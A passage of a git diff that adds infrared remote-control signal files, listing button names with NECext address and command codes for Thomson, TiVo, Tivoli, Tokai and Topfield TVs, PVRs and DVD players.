parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: Purple +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir new file mode 100644 index 000000000..1afa47479 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 80 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 84 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 88 00 00 00 +# +name: trackNext +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 8C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 8D 00 00 00 +# +name: trackBack +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 90 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 91 00 00 00 +# +name: soundEffect +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 93 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 94 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 95 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 99 00 00 00 +# +name: presUp +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 9C 00 00 00 +# +name: presDown +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir new file mode 100644 index 000000000..3f3b327c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: btn_blue +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: btn_pink +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: last_prog +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: btn_yellow +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: btn_red +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: btn_green +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir b/assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir new file mode 100644 index 000000000..77ab139c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1A 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir new file mode 100644 index 000000000..41d06293d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 07 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: CURSOR_CLICK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD_ON/OFF +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir new file mode 100644 index 000000000..3c1a8a04d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 02 00 00 00 +# +name: TVPWR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 10 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBSDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBSUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMPTOEND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir new file mode 100644 index 000000000..2e5036333 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: category-left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: category-right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir new file mode 100644 index 000000000..9a266c124 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: vocal_assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: kp_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: kp_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: kp_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: kp_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: kp_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: kp_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: kp_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: kp_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: kp_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: rpt_1all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: rpt_ab +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: skip_b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: kp_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: kp_plus10 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: tc_search +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: skip_f +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir new file mode 100644 index 000000000..4550c2986 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: Scheudle +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: UHF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: FastRew +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 45 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 46 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: White +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: SkipLeft +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: SkipRight +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 52 00 00 00 +# +name: Gray +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir new file mode 100644 index 000000000..198ffdc70 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed 